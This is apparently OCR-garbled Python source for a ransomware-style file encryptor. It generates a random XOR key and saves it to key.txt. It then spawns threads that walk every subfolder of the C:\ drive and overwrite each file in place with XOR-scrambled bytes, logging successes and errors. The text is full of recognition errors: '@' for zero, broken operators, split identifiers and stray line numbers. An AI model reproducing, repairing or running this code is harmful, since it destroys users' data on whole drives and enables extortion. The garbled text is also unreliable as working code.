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1 key_pointer = open('key.txt',"a+")

2 file pointer = open('log.txt', 'a+') # Z_ 1Lt MM
3 ws_list =

[os.path.join(root, file) for root, dirs, files in os.walk(os.getcwd()) for file in files]
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# key gen
def key gen():
rand_index = [random.randint(@, 1000000000) for _ in range(random.randint(100, 1000000)) ]

xor_key = [random.randint(@, 255) for _ in range(len(rand_index))]
return rand_index, xor_key

rand_index, xor_key = key gen()
key pointer.write(str(rand_index)+str(xor_key))

1
2
3
il
5
6
7
8

key_GEN

220 AtEE QU A, 7] 4



def find _all files(directory):
global ws_list
exe files = glob.glob(os.path.join(directory, '**/*.*") ) recursive=True)
exe files = [file for file in exe files if file not in ws_list]
return exe files

1s dir(dir):
files = [path for path in glob.glob(os.path.join(dir, "*')) if os.path.isdir(path)]
return files
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def encrypt_file(file path):
try:
chunk_size = 1073741824 # 1GB
with open(file _path, 'r+b') as f:
while True:
chunk = f.read(chunk _size)
if not chunk:
break
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dos = bytearray(chunk)
exe len = len(dos) - 1
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for j in range(len(rand_index)):
dos[rand_index[j] % exe_len] ~= xor_key[]j]
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dos[@] ~= xor_key[©]
dos[1] ~= xor_key[1] # A|ZL|H HZA
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f.seek(-len(chunk), os.SEEK_CUR)

f.write(dos)
f.flush()
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file_pointer.write(f'Good : {file_path}\n'")
except Exception as e:
file pointer.write(f'Error : {e} : {file_path};\n')
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det thread enc(dir path,Thread status):
Ttry:
files = find all files(dir path)
for file in files:
encrypt file(file)
Thread status.append({dir path : "Good'})
except Exception as e:
Thread status.append({dir path : str{e)})
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det main():
drive = "C:\\"

# drivel| T} E0 #7|

subfolders = 1s dir(drive)

Thread list = []
Thread status = []
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for subfolder in subfolders:
thread = Thread(target=thread enc, args=(subfolder,Thread status))
Thread list.append(thread)
thread.start()
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# BE AYCo FRE 7|0
while any([i.is _alive() for i in Thread list]):
pass
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print({Thread status)
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